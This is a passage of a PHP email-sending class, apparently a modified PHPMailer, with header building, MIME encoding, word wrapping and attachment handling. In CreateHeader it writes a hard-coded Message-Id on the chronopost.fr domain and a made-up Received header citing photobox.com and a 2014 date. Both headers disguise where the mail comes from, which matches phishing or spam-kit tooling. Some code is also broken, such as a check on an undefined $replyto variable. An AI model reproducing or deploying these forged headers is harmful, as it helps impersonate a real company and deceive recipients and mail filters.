  2028. function AddrAppend($type, $addr) {
  2029. $addr_str = $type . ': ';
  2030. $addr_str .= $this->AddrFormat($addr[0]);
  2031. if(count($addr) > 1) {
  2032. for($i = 1; $i < count($addr); $i++) {
  2033. $addr_str .= ', ' . $this->AddrFormat($addr[$i]);
  2034. }
  2035. }
  2036. $addr_str .= $this->LE;
  2037.  
  2038. return $addr_str;
  2039. }
  2040.  
  2041. /**
  2042. * Formats an address correctly.
  2043. * @access private
  2044. * @return string
  2045. */
  2046. function AddrFormat($addr) {
  2047. if(empty($addr[1])) {
  2048. $formatted = $this->SecureHeader($addr[0]);
  2049. } else {
  2050. $formatted = $this->EncodeHeader($this->SecureHeader($addr[1]), 'phrase') . " <" . $this->SecureHeader($addr[0]) . ">";
  2051. }
  2052.  
  2053. return $formatted;
  2054. }
  2055.  
  2056. /**
  2057. * Wraps message for use with mailers that do not
  2058. * automatically perform wrapping and for quoted-printable.
  2059. * Original written by philippe.
  2060. * @access private
  2061. * @return string
  2062. */
  2063. function WrapText($message, $length, $qp_mode = false) {
  2064. $soft_break = ($qp_mode) ? sprintf(" =%s", $this->LE) : $this->LE;
  2065. // If utf-8 encoding is used, we will need to make sure we don't
  2066. // split multibyte characters when we wrap
  2067. $is_utf8 = (strtolower($this->CharSet) == "utf-8");
  2068.  
  2069. $message = $this->FixEOL($message);
  2070. if (substr($message, -1) == $this->LE) {
  2071. $message = substr($message, 0, -1);
  2072. }
  2073.  
  2074. $line = explode($this->LE, $message);
  2075. $message = '';
  2076. for ($i=0 ;$i < count($line); $i++) {
  2077. $line_part = explode(' ', $line[$i]);
  2078. $buf = '';
  2079. for ($e = 0; $e<count($line_part); $e++) {
  2080. $word = $line_part[$e];
  2081. if ($qp_mode and (strlen($word) > $length)) {
  2082. $space_left = $length - strlen($buf) - 1;
  2083. if ($e != 0) {
  2084. if ($space_left > 20) {
  2085. $len = $space_left;
  2086. if ($is_utf8) {
  2087. $len = $this->UTF8CharBoundary($word, $len);
  2088. } elseif (substr($word, $len - 1, 1) == "=") {
  2089. $len--;
  2090. } elseif (substr($word, $len - 2, 1) == "=") {
  2091. $len -= 2;
  2092. }
  2093. $part = substr($word, 0, $len);
  2094. $word = substr($word, $len);
  2095. $buf .= ' ' . $part;
  2096. $message .= $buf . sprintf("=%s", $this->LE);
  2097. } else {
  2098. $message .= $buf . $soft_break;
  2099. }
  2100. $buf = '';
  2101. }
  2102. while (strlen($word) > 0) {
  2103. $len = $length;
  2104. if ($is_utf8) {
  2105. $len = $this->UTF8CharBoundary($word, $len);
  2106. } elseif (substr($word, $len - 1, 1) == "=") {
  2107. $len--;
  2108. } elseif (substr($word, $len - 2, 1) == "=") {
  2109. $len -= 2;
  2110. }
  2111. $part = substr($word, 0, $len);
  2112. $word = substr($word, $len);
  2113.  
  2114. if (strlen($word) > 0) {
  2115. $message .= $part . sprintf("=%s", $this->LE);
  2116. } else {
  2117. $buf = $part;
  2118. }
  2119. }
  2120. } else {
  2121. $buf_o = $buf;
  2122. $buf .= ($e == 0) ? $word : (' ' . $word);
  2123.  
  2124. if (strlen($buf) > $length and $buf_o != '') {
  2125. $message .= $buf_o . $soft_break;
  2126. $buf = $word;
  2127. }
  2128. }
  2129. }
  2130. $message .= $buf . $this->LE;
  2131. }
  2132.  
  2133. return $message;
  2134. }
  2135.  
  2136. /**
  2137. * Finds last character boundary prior to maxLength in a utf-8
  2138. * quoted (printable) encoded string.
  2139. * Original written by Colin Brown.
  2140. * @access private
  2141. * @param string $encodedText utf-8 QP text
  2142. * @param int $maxLength find last character boundary prior to this length
  2143. * @return int
  2144. */
  2145. function UTF8CharBoundary($encodedText, $maxLength) {
  2146. $foundSplitPos = false;
  2147. $lookBack = 3;
  2148. while (!$foundSplitPos) {
  2149. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  2150. $encodedCharPos = strpos($lastChunk, "=");
  2151. if ($encodedCharPos !== false) {
  2152. // Found start of encoded character byte within $lookBack block.
  2153. // Check the encoded byte value (the 2 chars after the '=')
  2154. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  2155. $dec = hexdec($hex);
  2156. if ($dec < 128) { // Single byte character.
  2157. // If the encoded char was found at pos 0, it will fit
  2158. // otherwise reduce maxLength to start of the encoded char
  2159. $maxLength = ($encodedCharPos == 0) ? $maxLength :
  2160. $maxLength - ($lookBack - $encodedCharPos);
  2161. $foundSplitPos = true;
  2162. } elseif ($dec >= 192) { // First byte of a multi byte character
  2163. // Reduce maxLength to split at start of character
  2164. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  2165. $foundSplitPos = true;
  2166. } elseif ($dec < 192) { // Middle byte of a multi byte character, look further back
  2167. $lookBack += 3;
  2168. }
  2169. } else {
  2170. // No encoded character found
  2171. $foundSplitPos = true;
  2172. }
  2173. }
  2174. return $maxLength;
  2175. }
  2176.  
  2177. /**
  2178. * Set the body wrapping.
  2179. * @access private
  2180. * @return void
  2181. */
  2182. function SetWordWrap() {
  2183. if($this->WordWrap < 1) {
  2184. return;
  2185. }
  2186.  
  2187. switch($this->message_type) {
  2188. case 'alt':
  2189. /* fall through */
  2190. case 'alt_attachments':
  2191. $this->AltBody = $this->WrapText($this->AltBody, $this->WordWrap);
  2192. break;
  2193. default:
  2194. $this->Body = $this->WrapText($this->Body, $this->WordWrap);
  2195. break;
  2196. }
  2197. }
  2198.  
  2199. /**
  2200. * Assembles message header.
  2201. * @access private
  2202. * @return string
  2203. */
  2204. function CreateHeader() {
  2205. $result = '';
  2206.  
  2207. /* Set the boundaries */
  2208. $uniq_id = md5(uniqid(time()));
  2209. $this->boundary[1] = 'b1_' . $uniq_id;
  2210. $this->boundary[2] = 'b2_' . $uniq_id;
  2211.  
  2212. $result .= $this->HeaderLine('Date', $this->RFCDate());
  2213. if($this->Sender == '') {
  2214. $result .= $this->HeaderLine('Return-Path', trim($this->From));
  2215. } else {
  2216. $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
  2217. }
  2218.  
  2219. /* To be created automatically by mail() */
  2220. if($this->Mailer != 'mail') {
  2221. if(count($this->to) > 0) {
  2222. $result .= $this->AddrAppend('To', $this->to);
  2223. } elseif (count($this->cc) == 0) {
  2224. $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
  2225. }
  2226. if(count($this->cc) > 0) {
  2227. $result .= $this->AddrAppend('Cc', $this->cc);
  2228. }
  2229. }
  2230.  
  2231. $from = array();
  2232. $from[0][0] = trim($this->From);
  2233. $from[0][1] = $this->FromName;
  2234. $result .= $this->AddrAppend('From', $from);
  2235.  
  2236. /* sendmail and mail() extract Cc from the header before sending */
  2237. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
  2238. $result .= $this->AddrAppend('Cc', $this->cc);
  2239. }
  2240.  
  2241. /* sendmail and mail() extract Bcc from the header before sending */
  2242. if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
  2243. $result .= $this->AddrAppend('Bcc', $this->bcc);
  2244. }
  2245. if($replyto != "")
  2246. {
  2247. if(count($this->ReplyTo) > 0) {
  2248. $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
  2249. }
  2250. }
  2251. /* mail() sets the subject itself */
  2252. if($this->Mailer != 'mail') {
  2253. $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
  2254. }
  2255.  
  2256. //if($this->MessageID != '') {
  2257. //$result .= $this->HeaderLine('Message-ID',$this->MessageID);
  2258. //} else {
  2259. //$result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
  2260. //}
  2261. $result .= $this->HeaderLine('X-Priority', $this->Priority);
  2262. if($this->ConfirmReadingTo != '') {
  2263. $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
  2264. }
  2265.  
  2266. // Add custom headers
  2267. for($index = 0; $index < count($this->CustomHeader); $index++) {
  2268. $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
  2269. }
  2270. if (!$this->sign_key_file) {
  2271. $result .= $this->HeaderLine('Message-Id', '<Javamail-'.$uniq_id.'@chronopost.fr>');
  2272. $result .= $this->HeaderLine('Received', ' b3hk01.photobox.com ([89.202.250.70])by mwinf5c47 with MEid gNXe1n0051Xt98h01NXetD; Fri, 21 Mar 2014 23:31:38 +0100');
  2273. $result .= $this->HeaderLine('MIME-Version', '1.0');
  2274. $result .= $this->GetMailMIME();
  2275. }
  2276.  
  2277. return $result;
  2278. }
  2279.  
  2280. /**
  2281. * Returns the message MIME.
  2282. * @access private
  2283. * @return string
  2284. */
  2285. function GetMailMIME() {
  2286. $result = '';
  2287. switch($this->message_type) {
  2288. case 'plain':
  2289. $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
  2290. $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
  2291. break;
  2292. case 'attachments':
  2293. /* fall through */
  2294. case 'alt_attachments':
  2295. if($this->InlineImageExists()){
  2296. $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
  2297. } else {
  2298. $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
  2299. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2300. }
  2301. break;
  2302. case 'alt':
  2303. $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
  2304. $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
  2305. break;
  2306. }
  2307.  
  2308. if($this->Mailer != 'mail') {
  2309. $result .= $this->LE.$this->LE;
  2310. }
  2311.  
  2312. return $result;
  2313. }
  2314.  
  2315. /**
  2316. * Assembles the message body. Returns an empty string on failure.
  2317. * @access private
  2318. * @return string
  2319. */
  2320. function CreateBody() {
  2321. $result = '';
  2322. if ($this->sign_key_file) {
  2323. $result .= $this->GetMailMIME();
  2324. }
  2325.  
  2326. $this->SetWordWrap();
  2327.  
  2328. switch($this->message_type) {
  2329. case 'alt':
  2330. $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
  2331. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2332. $result .= $this->LE.$this->LE;
  2333. $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
  2334. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2335. $result .= $this->LE.$this->LE;
  2336. $result .= $this->EndBoundary($this->boundary[1]);
  2337. break;
  2338. case 'plain':
  2339.  
  2340. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2341. break;
  2342. case 'attachments':
  2343. $result .= $this->GetBoundary($this->boundary[1], '', '', '');
  2344. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2345. $result .= $this->LE;
  2346. $result .= $this->AttachAll();
  2347. break;
  2348. case 'alt_attachments':
  2349. $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
  2350. $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
  2351. $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
  2352. $result .= $this->EncodeString($this->AltBody, $this->Encoding);
  2353. $result .= $this->LE.$this->LE;
  2354. $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
  2355. $result .= $this->EncodeString($this->Body, $this->Encoding);
  2356. $result .= $this->LE.$this->LE;
  2357. $result .= $this->EndBoundary($this->boundary[2]);
  2358. $result .= $this->AttachAll();
  2359. break;
  2360. }
  2361.  
  2362. if($this->IsError()) {
  2363. $result = '';
  2364. } else if ($this->sign_key_file) {
  2365. $file = tempnam("", "mail");
  2366. $fp = fopen($file, "w");
  2367. fwrite($fp, $result);
  2368. fclose($fp);
  2369. $signed = tempnam("", "signed");
  2370.  
  2371. if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
  2372. $fp = fopen($signed, "r");
  2373. $result = fread($fp, filesize($this->sign_key_file));
  2374. fclose($fp);
  2375. } else {
  2376. $this->SetError($this->Lang("signing").openssl_error_string());
  2377. $result = '';
  2378. }
  2379.  
  2380. unlink($file);
  2381. unlink($signed);
  2382. }
  2383.  
  2384. return $result;
  2385. }
  2386.  
  2387. /**
  2388. * Returns the start of a message boundary.
  2389. * @access private
  2390. */
  2391. function GetBoundary($boundary, $charSet, $contentType, $encoding) {
  2392. $result = '';
  2393. if($charSet == '') {
  2394. $charSet = $this->CharSet;
  2395. }
  2396. if($contentType == '') {
  2397. $contentType = $this->ContentType;
  2398. }
  2399. if($encoding == '') {
  2400. $encoding = $this->Encoding;
  2401. }
  2402. $result .= $this->TextLine('--' . $boundary);
  2403. $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
  2404. $result .= $this->LE;
  2405. $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
  2406. $result .= $this->LE;
  2407.  
  2408. return $result;
  2409. }
  2410.  
  2411. /**
  2412. * Returns the end of a message boundary.
  2413. * @access private
  2414. */
  2415. function EndBoundary($boundary) {
  2416. return $this->LE . '--' . $boundary . '--' . $this->LE;
  2417. }
  2418.  
  2419. /**
  2420. * Sets the message type.
  2421. * @access private
  2422. * @return void
  2423. */
  2424. function SetMessageType() {
  2425. if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
  2426. $this->message_type = 'plain';
  2427. } else {
  2428. if(count($this->attachment) > 0) {
  2429. $this->message_type = 'attachments';
  2430. }
  2431. if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
  2432. $this->message_type = 'alt';
  2433. }
  2434. if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
  2435. $this->message_type = 'alt_attachments';
  2436. }
  2437. }
  2438. }
  2439.  
  2440. /* Returns a formatted header line.
  2441. * @access private
  2442. * @return string
  2443. */
  2444. function HeaderLine($name, $value) {
  2445. return $name . ': ' . $value . $this->LE;
  2446. }
  2447.  
  2448. /**
  2449. * Returns a formatted mail line.
  2450. * @access private
  2451. * @return string
  2452. */
  2453. function TextLine($value) {
  2454. return $value . $this->LE;
  2455. }
  2456.  
  2457. /////////////////////////////////////////////////
  2458. // CLASS METHODS, ATTACHMENTS
  2459. /////////////////////////////////////////////////
  2460.  
  2461. /**
  2462. * Adds an attachment from a path on the filesystem.
  2463. * Returns false if the file could not be found
  2464. * or accessed.
  2465. * @param string $path Path to the attachment.
  2466. * @param string $name Overrides the attachment name.
  2467. * @param string $encoding File encoding (see $Encoding).
  2468. * @param string $type File extension (MIME) type.
  2469. * @return bool
  2470. */
  2471. function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2472. if(!@is_file($path)) {
  2473. $this->SetError($this->Lang('file_access') . $path);
  2474. return false;
  2475. }
  2476.  
  2477. $filename = basename($path);
  2478. if($name == '') {
  2479. $name = $filename;
  2480. }
  2481.  
  2482. $cur = count($this->attachment);
  2483. $this->attachment[$cur][0] = $path;
  2484. $this->attachment[$cur][1] = $filename;
  2485. $this->attachment[$cur][2] = $name;
  2486. $this->attachment[$cur][3] = $encoding;
  2487. $this->attachment[$cur][4] = $type;
  2488. $this->attachment[$cur][5] = false; // isStringAttachment
  2489. $this->attachment[$cur][6] = 'attachment';
  2490. $this->attachment[$cur][7] = 0;
  2491.  
  2492. return true;
  2493. }
  2494.  
  2495. /**
  2496. * Attaches all fs, string, and binary attachments to the message.
  2497. * Returns an empty string on failure.
  2498. * @access private
  2499. * @return string
  2500. */
  2501. function AttachAll() {
  2502. /* Return text of body */
  2503. $mime = array();
  2504.  
  2505. /* Add all attachments */
  2506. for($i = 0; $i < count($this->attachment); $i++) {
  2507. /* Check for string attachment */
  2508. $bString = $this->attachment[$i][5];
  2509. if ($bString) {
  2510. $string = $this->attachment[$i][0];
  2511. } else {
  2512. $path = $this->attachment[$i][0];
  2513. }
  2514.  
  2515. $filename = $this->attachment[$i][1];
  2516. $name = $this->attachment[$i][2];
  2517. $encoding = $this->attachment[$i][3];
  2518. $type = $this->attachment[$i][4];
  2519. $disposition = $this->attachment[$i][6];
  2520. $cid = $this->attachment[$i][7];
  2521.  
  2522. $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
  2523. $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
  2524. $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
  2525.  
  2526. if($disposition == 'inline') {
  2527. $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
  2528. }
  2529.  
  2530. $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
  2531.  
  2532. /* Encode as string attachment */
  2533. if($bString) {
  2534. $mime[] = $this->EncodeString($string, $encoding);
  2535. if($this->IsError()) {
  2536. return '';
  2537. }
  2538. $mime[] = $this->LE.$this->LE;
  2539. } else {
  2540. $mime[] = $this->EncodeFile($path, $encoding);
  2541. if($this->IsError()) {
  2542. return '';
  2543. }
  2544. $mime[] = $this->LE.$this->LE;
  2545. }
  2546. }
  2547.  
  2548. $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
  2549.  
  2550. return join('', $mime);
  2551. }
  2552.  
  2553. /**
  2554. * Encodes attachment in requested format. Returns an
  2555. * empty string on failure.
  2556. * @access private
  2557. * @return string
  2558. */
  2559. function EncodeFile ($path, $encoding = 'base64') {
  2560. if(!@$fd = fopen($path, 'rb')) {
  2561. $this->SetError($this->Lang('file_open') . $path);
  2562. return '';
  2563. }
  2564. $magic_quotes = get_magic_quotes_runtime();
  2565. set_magic_quotes_runtime(0);
  2566. $file_buffer = fread($fd, filesize($path));
  2567. $file_buffer = $this->EncodeString($file_buffer, $encoding);
  2568. fclose($fd);
  2569. set_magic_quotes_runtime($magic_quotes);
  2570.  
  2571. return $file_buffer;
  2572. }
  2573.  
  2574. /**
  2575. * Encodes string to requested format. Returns an
  2576. * empty string on failure.
  2577. * @access private
  2578. * @return string
  2579. */
  2580. function EncodeString ($str, $encoding = 'base64') {
  2581. $encoded = '';
  2582. switch(strtolower($encoding)) {
  2583. case 'base64':
  2584. /* chunk_split is found in PHP >= 3.0.6 */
  2585. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  2586. break;
  2587. case '7bit':
  2588. case '8bit':
  2589. $encoded = $this->FixEOL($str);
  2590. if (substr($encoded, -(strlen($this->LE))) != $this->LE)
  2591. $encoded .= $this->LE;
  2592. break;
  2593. case 'binary':
  2594. $encoded = $str;
  2595. break;
  2596. case 'quoted-printable':
  2597. $encoded = $this->EncodeQP($str);
  2598. break;
  2599. default:
  2600. $this->SetError($this->Lang('encoding') . $encoding);
  2601. break;
  2602. }
  2603. return $encoded;
  2604. }
  2605.  
  2606. /**
  2607. * Encode a header string to best of Q, B, quoted or none.
  2608. * @access private
  2609. * @return string
  2610. */
  2611. function EncodeHeader ($str, $position = 'text') {
  2612. $x = 0;
  2613.  
  2614. switch (strtolower($position)) {
  2615. case 'phrase':
  2616. if (!preg_match('/[\200-\377]/', $str)) {
  2617. /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
  2618. $encoded = addcslashes($str, "\0..\37\177\\\"");
  2619. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  2620. return ($encoded);
  2621. } else {
  2622. return ("\"$encoded\"");
  2623. }
  2624. }
  2625. $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  2626. break;
  2627. case 'comment':
  2628. $x = preg_match_all('/[()"]/', $str, $matches);
  2629. /* Fall-through */
  2630. case 'text':
  2631. default:
  2632. $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
  2633. break;
  2634. }
  2635.  
  2636. if ($x == 0) {
  2637. return ($str);
  2638. }
  2639.  
  2640. $maxlen = 75 - 7 - strlen($this->CharSet);
  2641. /* Try to select the encoding which should produce the shortest output */
  2642. if (strlen($str)/3 < $x) {
  2643. $encoding = 'B';
  2644. if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
  2645. // Use a custom function which correctly encodes and wraps long
  2646. // multibyte strings without breaking lines within a character
  2647. $encoded = $this->Base64EncodeWrapMB($str);
  2648. } else {
  2649. $encoded = base64_encode($str);
  2650. $maxlen -= $maxlen % 4;
  2651. $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
  2652. }
  2653. } else {
  2654. $encoding = 'Q';
  2655. $encoded = $this->EncodeQ($str, $position);
  2656. $encoded = $this->WrapText($encoded, $maxlen, true);
  2657. $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
  2658. }
  2659.  
  2660. $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
  2661. $encoded = trim(str_replace("\n", $this->LE, $encoded));
  2662.  
  2663. return $encoded;
  2664. }
  2665.  
  2666. /**
  2667. * Checks if a string contains multibyte characters.
  2668. * @access private
  2669. * @param string $str multi-byte text to wrap encode
  2670. * @return bool
  2671. */
  2672. function HasMultiBytes($str) {
  2673. if (function_exists('mb_strlen')) {
  2674. return (strlen($str) > mb_strlen($str, $this->CharSet));
  2675. } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
  2676. return False;
  2677. }
  2678. }
  2679.  
  2680. /**
  2681. * Correctly encodes and wraps long multibyte strings for mail headers
  2682. * without breaking lines within a character.
  2683. * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
  2684. * @access private
  2685. * @param string $str multi-byte text to wrap encode
  2686. * @return string
  2687. */
  2688. function Base64EncodeWrapMB($str) {
  2689. $start = "=?".$this->CharSet."?B?";
  2690. $end = "?=";
  2691. $encoded = "";
  2692.  
  2693. $mb_length = mb_strlen($str, $this->CharSet);
  2694. // Each line must have length <= 75, including $start and $end
  2695. $length = 75 - strlen($start) - strlen($end);
  2696. // Average multi-byte ratio
  2697. $ratio = $mb_length / strlen($str);
  2698. // Base64 has a 4:3 ratio
  2699. $offset = $avgLength = floor($length * $ratio * .75);
  2700.  
  2701. for ($i = 0; $i < $mb_length; $i += $offset) {
  2702. $lookBack = 0;
  2703.  
  2704. do {
  2705. $offset = $avgLength - $lookBack;
  2706. $chunk = mb_substr($str, $i, $offset, $this->CharSet);
  2707. $chunk = base64_encode($chunk);
  2708. $lookBack++;
  2709. }
  2710. while (strlen($chunk) > $length);
  2711.  
  2712. $encoded .= $chunk . $this->LE;
  2713. }
  2714.  
  2715. // Chomp the last linefeed
  2716. $encoded = substr($encoded, 0, -strlen($this->LE));
  2717. return $encoded;
  2718. }
  2719.  
  2720. /**
  2721. * Encode string to quoted-printable.
  2722. * @access private
  2723. * @return string
  2724. */
  2725. function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
  2726. $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
  2727. $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
  2728. $eol = "\r\n";
  2729. $escape = '=';
  2730. $output = '';
  2731. while( list(, $line) = each($lines) ) {
  2732. $linlen = strlen($line);
  2733. $newline = '';
  2734. for($i = 0; $i < $linlen; $i++) {
  2735. $c = substr( $line, $i, 1 );
  2736. $dec = ord( $c );
  2737. if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
  2738. $c = '=2E';
  2739. }
  2740. if ( $dec == 32 ) {
  2741. if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
  2742. $c = '=20';
  2743. } else if ( $space_conv ) {
  2744. $c = '=20';
  2745. }
  2746. } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
  2747. $h2 = floor($dec/16);
  2748. $h1 = floor($dec%16);
  2749. $c = $escape.$hex[$h2].$hex[$h1];
  2750. }
  2751. if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
  2752. $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
  2753. $newline = '';
  2754. // check if newline first character will be point or not
  2755. if ( $dec == 46 ) {
  2756. $c = '=2E';
  2757. }
  2758. }
  2759. $newline .= $c;
  2760. } // end of for
  2761. $output .= $newline.$eol;
  2762. } // end of while
  2763. return trim($output);
  2764. }
  2765.  
  2766. /**
  2767. * Encode string to q encoding.
  2768. * @access private
  2769. * @return string
  2770. */
  2771. function EncodeQ ($str, $position = 'text') {
  2772. /* There should not be any EOL in the string */
  2773. $encoded = preg_replace("[\r\n]", '', $str);
  2774.  
  2775. switch (strtolower($position)) {
  2776. case 'phrase':
  2777. $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2778. break;
  2779. case 'comment':
  2780. $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2781. case 'text':
  2782. default:
  2783. /* Replace every high ascii, control =, ? and _ characters */
  2784. $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
  2785. "'='.sprintf('%02X', ord('\\1'))", $encoded);
  2786. break;
  2787. }
  2788.  
  2789. /* Replace every spaces to _ (more readable than =20) */
  2790. $encoded = str_replace(' ', '_', $encoded);
  2791.  
  2792. return $encoded;
  2793. }
  2794.  
  2795. /**
  2796. * Adds a string or binary attachment (non-filesystem) to the list.
  2797. * This method can be used to attach ascii or binary data,
  2798. * such as a BLOB record from a database.
  2799. * @param string $string String attachment data.
  2800. * @param string $filename Name of the attachment.
  2801. * @param string $encoding File encoding (see $Encoding).
  2802. * @param string $type File extension (MIME) type.
  2803. * @return void
  2804. */
  2805. function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
  2806. /* Append to $attachment array */
  2807. $cur = count($this->attachment);
  2808. $this->attachment[$cur][0] = $string;
  2809. $this->attachment[$cur][1] = $filename;
  2810. $this->attachment[$cur][2] = $filename;
  2811. $this->attachment[$cur][3] = $encoding;
  2812. $this->attachment[$cur][4] = $type;
  2813. $this->attachment[$cur][5] = true; // isString
  2814. $this->attachment[$cur][6] = 'attachment';
  2815. $this->attachment[$cur][7] = 0;
  2816. }
  2817.  
  2818. /**
  2819. * Adds an embedded attachment. This can include images, sounds, and
  2820. * just about any other document. Make sure to set the $type to an
  2821. * image type. For JPEG images use "image/jpeg" and for GIF images
  2822. * use "image/gif".
  2823. * @param string $path Path to the attachment.
  2824. * @param string $cid Content ID of the attachment. Use this to identify
  2825. * the Id for accessing the image in an HTML form.
  2826. * @param string $name Overrides the attachment name.
  2827. * @param string $encoding File encoding (see $Encoding).
  2828. * @param string $type File extension (MIME) type.
  2829. * @return bool
  2830. */
  2831. function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
  2832.  
  2833. if(!@is_file($path)) {
  2834. $this->SetError($this->Lang('file_access') . $path);
  2835. return false;
  2836. }
  2837.  
  2838. $filename = basename($path);
  2839. if($name == '') {
  2840. $name = $filename;
  2841. }
  2842.  
  2843. /* Append to $attachment array */
  2844. $cur = count($this->attachment);
  2845. $this->attachment[$cur][0] = $path;
  2846. $this->attachment[$cur][1] = $filename;
  2847. $this->attachment[$cur][2] = $name;
  2848. $this->attachment[$cur][3] = $encoding;
  2849. $this->attachment[$cur][4] = $type;
  2850. $this->attachment[$cur][5] = false;
  2851. $this->attachment[$cur][6] = 'inline';
  2852. $this->attachment[$cur][7] = $cid;
  2853.  
  2854. return true;
  2855. }
  2856.  
  2857. /**
  2858. * Returns true if an inline attachment is present.
  2859. * @access private
  2860. * @return bool
  2861. */
  2862. function InlineImageExists() {
  2863. $result = false;
  2864. for($i = 0; $i < count($this->attachment); $i++) {
  2865. if($this->attachment[$i][6] == 'inline') {
  2866. $result = true;
  2867. break;
  2868. }
  2869. }
  2870.  
  2871. return $result;
  2872. }
  2873.  
  2874. /////////////////////////////////////////////////
  2875. // CLASS METHODS, MESSAGE RESET
  2876. /////////////////////////////////////////////////
  2877.  
  2878. /**
  2879. * Clears all recipients assigned in the TO array. Returns void.
  2880. * @return void
  2881. */
  2882. function ClearAddresses() {
  2883. $this->to = array();
  2884. }
  2885.  
  2886. /**
  2887. * Clears all recipients assigned in the CC array. Returns void.
  2888. * @return void
  2889. */
  2890. function ClearCCs() {
  2891. $this->cc = array();
  2892. }
  2893.  
  2894. /**
  2895. * Clears all recipients assigned in the BCC array. Returns void.
  2896. * @return void
  2897. */
  2898. function ClearBCCs() {
  2899. $this->bcc = array();
  2900. }
  2901.  
  2902. /**
  2903. * Clears all recipients assigned in the ReplyTo array. Returns void.
  2904. * @return void
  2905. */
  2906. function ClearReplyTos() {
  2907. $this->ReplyTo = array();
  2908. }
  2909.  
  2910. /**
  2911. * Clears all recipients assigned in the TO, CC and BCC
  2912. * array. Returns void.
  2913. * @return void
  2914. */
  2915. function ClearAllRecipients() {
  2916. $this->to = array();
  2917. $this->cc = array();
  2918. $this->bcc = array();
  2919. }
  2920.  
  2921. /**
  2922. * Clears all previously set filesystem, string, and binary
  2923. * attachments. Returns void.
  2924. * @return void
  2925. */
  2926. function ClearAttachments() {
  2927. $this->attachment = array();
  2928. }
  2929.  
  2930. /**
  2931. * Clears all custom headers. Returns void.
  2932. * @return void
  2933. */
  2934. function ClearCustomHeaders() {
  2935. $this->CustomHeader = array();
  2936. }
  2937.  
  2938. /////////////////////////////////////////////////
